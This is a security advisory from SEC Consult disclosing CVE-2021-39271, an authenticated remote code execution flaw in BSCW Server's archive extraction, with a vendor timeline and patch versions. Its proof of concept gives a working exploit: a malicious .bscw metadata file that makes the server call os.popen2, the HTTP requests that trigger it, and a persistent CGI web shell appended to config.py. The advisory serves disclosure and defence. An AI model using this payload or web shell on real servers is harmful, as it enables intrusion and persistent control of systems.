SEC Consult SA-20210827-0 :: Authenticated RCE in BSCW Server

From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Fri, 27 Aug 2021 16:02:20 +0200

```
SEC Consult Vulnerability Lab Security Advisory < 20210827-0 >
=======================================================================
              title: Authenticated RCE
            product: BSCW Server
 vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
      fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3
         CVE number: CVE-2021-39271
             impact: high
           homepage: https://www.bscw.de/classic/
              found: 2021-06-30
                 by: Armin Stock (Atos Germany)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Atos company
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"A versatile system for any field of application

BSCW Classic is in use around the world. With more than 500 functions, it
offers the right solution for every task. Turn your ideas into reality! Our
proven system has been supporting information flow and knowledge management at
numerous companies for more than 20 years."

Source: https://www.bscw.de/en/classic/


Business recommendation:
------------------------
The vendor provides a patched version for the affected products which should
be installed immediately.


Vulnerability overview/description:
-----------------------------------
1) Authenticated RCE
The application allows a user with low privileges to upload different kind of
archives (`ZIP`, `tar`, `RFC822`) and extract them on the server. During the
extraction process a special file (`.bscw`) is processed to attach metadata to
the files created during extraction. This metadata file contains an attribute
(`class`), which is later used to instantiate a class/call a function to
create the desired object. As there is no allow-list implemented to limit
the class/function which can be called, it is possible to call an
arbitrary `Python` function. During the function call there are two
parameters provided, where the first is controlled by the attacker
(a element from the metadata file: `bscw:name`).


Proof of concept:
-----------------
1) Authenticated RCE
The first step is to create an archive with a malicious `.bscw` file.
$ zip ../data.zip ./.bscw ./*

--------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bscwarc SYSTEM "http://bscw.de/bscw/bscwarc.dtd";>
<bscwarc id="local.bscw:80H.sec" server="http://bscw.local"; timestamp="20210630T1232422" pathsep="\\">
  <metadata xmlns:bscw_doc="http://bscw.de/bscw/elements/0.1/doc/"; xmlns:bscw="http://bscw.de/bscw/elements/0.1/"; >
    <obj ctime="1624530343.92" creator="admin" id="214" mtime="1625049949.51" path="Its_me.txt" type="text/html;
charset=UTF-8"
class="<CLASS/FUNCTION to call>" >
      <bscw:description></bscw:description>
      <bscw_doc:mimetype>HTML Document</bscw_doc:mimetype>
      <bscw:name>CONTENT OF FIRST PARAMTER</bscw:name>
    </obj>
  </metadata>
</bscwarc>
--------------------------------------------------------------------------------

Then the archive can be uploaded to a folder (OID: 267), where the user
has write access to:
--------------------------------------------------------------------------------
PUT /sec/bscw.cgi/267/data.zip HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/zip
Content-Length: 1559
DNT: 1
Connection: close
Cookie: bscw_auth="<USER_AUTH_COOKIE>"

PK.....
--------------------------------------------------------------------------------

After uploading the archive the `extract` operation can be called for the new
created file object (OID: 1179):
--------------------------------------------------------------------------------
GET /sec/bscw.cgi/267?op=extract&id=267_1179 HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://bscw.local:8080/sec/bscw.cgi/267
Cookie: bscw_auth="<USER_AUTH_COOKIE>"
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------

During the extraction the function from the `class` attribute is located
and called.
--------------------------------------------------------------------------------
# File: bs_extract.py
```

```
def createArtifact(self, request, tree, user, target=None):
   """create artifact for user and add to target
      returns tuple (artifact, oldid) - or (None, None)
   """

   # ....

   # Locating the class/function
   # klass = metadata 'class' attribute
   klass_tuple = klass.split('.')
   klass_name = klass_tuple[(-1)]
   klass_modul = ('.').join(klass_tuple[:-1])
   try:
      modul = __import__('bscw').module(klass_modul)
   except ImportError as ie:
      log_arc.warning('ImportError: %s ', str(ie))
      klass = 'bscw.core.cl_folder.Folder'
      modul = None

   if modul and hasattr(modul, klass_name):
      constructor = getattr(modul, klass_name)
   else:
      constructor = None
# ....

   # Large if else construct for handling different known classes
   if klass == 'bscw.core.cl_folder.Folder' or bscw_xml and klass in FOLDER_CLASSES:
      log_arc.debug('createArtifact: create Folder (for %s)', klass_name)
      lname = legalized_name(Folder, name)

   # ...

   # If klass is unknown the following code is executed
   # name = metadata object element 'bscw:name'
   # user = <bscw.core.cl_user.User>(logged in user)
   if constructor:
      assert callable(constructor), 'artifact constructor is callable'
      try:
            artifact = constructor(name, user)
            lname = artifact.set_name(name, autolegalize=True)
      except Exception as e:
            return self.failed(klass, e, fname=fname)
```

To exploit this code we need a function which can be invoked like:
`GADGET(arg1 : str, arg2 : bscw.core.cl_user.User)`.
Fortunately `BSCW Classic` requires `Python 2.X`, which has the function
`os.popen2`.

```
os.popen2(cmd[, mode[, bufsize]])

    Execute cmd as a sub-process and return the file objects
    (child_stdin, child_stdout).

    Deprecated since version 2.6: This function is obsolete. Use the subprocess
    module. Check especially the Replacing Older Functions with the subprocess
    Module section.

    Availability: Unix, Windows.

    New in version 2.0.
```

The first parameter is the command line which is executed in a shell context.
The second parameter is `mode` which should be `"w"` or `"r"`, but it falls
back to the default if the type is not correct (in contrary to `os.popen`).

```
Python 2.7.18 (default, Apr 28 2021, 17:39:59)
[GCC 10.2.1 20210110] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.popen("whoami", dict())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: popen() argument 2 must be string, not dict
>>> os.popen2("whoami", dict())
(<open file '<fdopen>', mode 'wb' at 0x7ff98f42c780>, <open file '<fdopen>', mode 'rb' at 0x7ff98f42c660>)
>>>
```

Providing `os.popen2` as value of the `class` attribute and
`touch /tmp/foobar_poc.txt` as the value `bscw:name` element, the following
code is executed:

```
os.popen2("touch /tmp/foobar_poc.txt", bscw.core.cl_user.User("UID"))
```

---

which creates the PoC file:

```
root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la /tmp/*poc*
-rw-rw---- 1 www-data bscw 0 Jul  3 07:43 /tmp/foobar_poc.txt
```

But currently this is a blind RCE, because the result of the call is assigned
to `artifact` and the method `.set_name` is called on the returned `tuple`
(see above code).

The extraction generates the following log entries:

```
2021-06-24 14:33:53 cl_artifact  on_archive_import 2464 DEBUG  Artifact.on_archive_import():
bscw.core.cl_document.Document#1142
2021-06-24 14:33:53 bs_extract   createArtifact 80 DEBUG  createArtifact for node: ArchiveNode[#3]<touch
/tmp/foobar.txt> path= childs=0
2021-06-24 14:33:53 bs_extract   createArtifact 110 DEBUG  createArtifact() node without file/folder: 'touch
/tmp/foobar.txt'
2021-06-24 14:33:53 bs_extract   createArtifact 134 DEBUG  createArtifact xml:True isdir:True => klass=os.popen2
2021-06-24 14:33:53 bs_extract   createArtifact 178 DEBUG  createArtifact: <os.popen2> 'touch /tmp/foobar.txt'
2021-06-24 14:33:53 bs_extract   createArtifact 197 DEBUG  createArtifact: kmodul=os kname=popen2 modul=<module 'os'
from
'/usr/lib/python2.7/os.pyc'> constructor=<function popen2 at 0x7f12e7df1950>
2021-06-24 14:33:53 bs_extract   failed       366 ERROR  createArtifact: "os.popen2" failed: 'tuple' object has no
attribute
'set_name' (touch /tmp/foobar.txt)
```

Simple persistent shell (CGI mode)

To allow the attacker to execute commands and get the output of it, the file
`<bscw_install>/conf/config.py` can be overwritten.

The initial permissions of this file look like (user: `bscw`, group: `bscw`):

```
root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la conf/config.py
-rw-rw---- 1 bscw bscw 83899 Jul  3 10:50 conf/config.py
```

In the normal setup, Apache is used to run the `bscw.cgi` script as its own
user `www-data`. But fortunately the `bscw.cgi` binary has the `SGID` flag set,
which sets the `effective GID` to `bscw`. This allows us to overwrite this
file.

```
root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la var/www/bscw.cgi
-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 var/www/bscw.cgi
```

The following simple shell can be installed on the system:

```
import os
e_key = os.environ.get("HTTP_BSCW_K", "")
e_cmd = os.environ.get("HTTP_BSCW_C", "")
if e_key == "{KEY}" and e_cmd:
    try:
        print "Content-Type: text/plain\n"
        import sys, subprocess
        print subprocess.check_output(e_cmd.decode("base64"), shell=True, stderr=subprocess.STDOUT)
    except Exception as e:
        print e
    sys.exit(0)
```

```
This can be done with the shown command:
```

```
echo "<BASE64 encoded python shell code>" | base64 -d >> ./conf/config.py
```

```
After installing the shell, a simple HTTP request to the public endpoint can
be used to execute the command and get the output:
```

```
GET /pub/bscw.cgi HTTP/1.1
Host: bscw.local:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
BSCW-K: <KEY>
BSCW-C: <@base64>ls -la<@/base64>
```

```
The response of the executed command "ls -la" is directly contained in the
response of the web-server.
```

```
HTTP/1.1 200 OK
Date: Sat, 03 Jul 2021 13:13:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding,User-Agent
Content-Length: 806
Connection: close
Content-Type: text/plain

total 96
drwxr-xr-x 1 bscw bscw  4096 Jul  3 08:41 .
drwxr-sr-x 1 bscw bscw  4096 Jun 18 22:07 ..
lrwxrwxrwx 1 bscw bscw    52 Jun 18 22:07 20190717-1636-2b48861 -> /opt/bscw/lib/bscw-5.2.3-2b48861-
py27/bscw/resources
drwxrws--x 4 bscw bscw  4096 Jun 18 22:07 auto
-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 bscw.cgi
-rw-r--r-- 1 bscw bscw  2966 Jun 18 22:07 error401.html
-rw-r--r-- 1 bscw bscw  9771 Jun 18 22:07 index.html.de
-rw-r--r-- 1 bscw bscw  9586 Jun 18 22:07 index.html.en
-rw-r--r-- 1 bscw bscw  9765 Jun 18 22:07 index.html.es
-rw-r--r-- 1 bscw bscw  9791 Jun 18 22:07 index.html.fr
-rw-r--r-- 1 bscw bscw   102 Jun 18 22:07 robots.txt
lrwxrwxrwx 1 bscw bscw    52 Jun 18 22:07 static -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources
```

```
Vulnerable / tested versions:
-----------------------------
BSCW Classic 5.2.3 was used to find the vulnerability.
The vendor confirmed that following versions also affected by the vulnerability

BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2


Vendor contact timeline:
------------------------
2021-07-03: Vendor contacted via security@, asked for a PGP Key /
            SMIME certificate to encrypt communication
2021-07-06: Vendor contacted via support@, asked for a PGP Key /
            SMIME certificate to encrypt communication
2021-07-06: Vendor provided contact and PGP Key, Sent report to vendor
2021-07-06: Vendor confirmed the issue and is working on a patch
2021-07-07: Vendor provided a hotfix
2021-08-19: Vendor notified licenced customer about the issue and a patch
2021-08-27: Coordinated release of security advisory.


Solution:
---------
The vendor provides a patched version for the affected and supported products
which should be installed immediately.

Additional information can be viewed at the vendor's support page:

Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Armin Stock / @2021
```

Attachment: `smime.p7s`
Description: S/MIME Cryptographic Signature

Current thread:

SEC Consult SA-20210827-0 :: Authenticated RCE in BSCW Server *SEC Consult Vulnerability Lab (Aug 27)*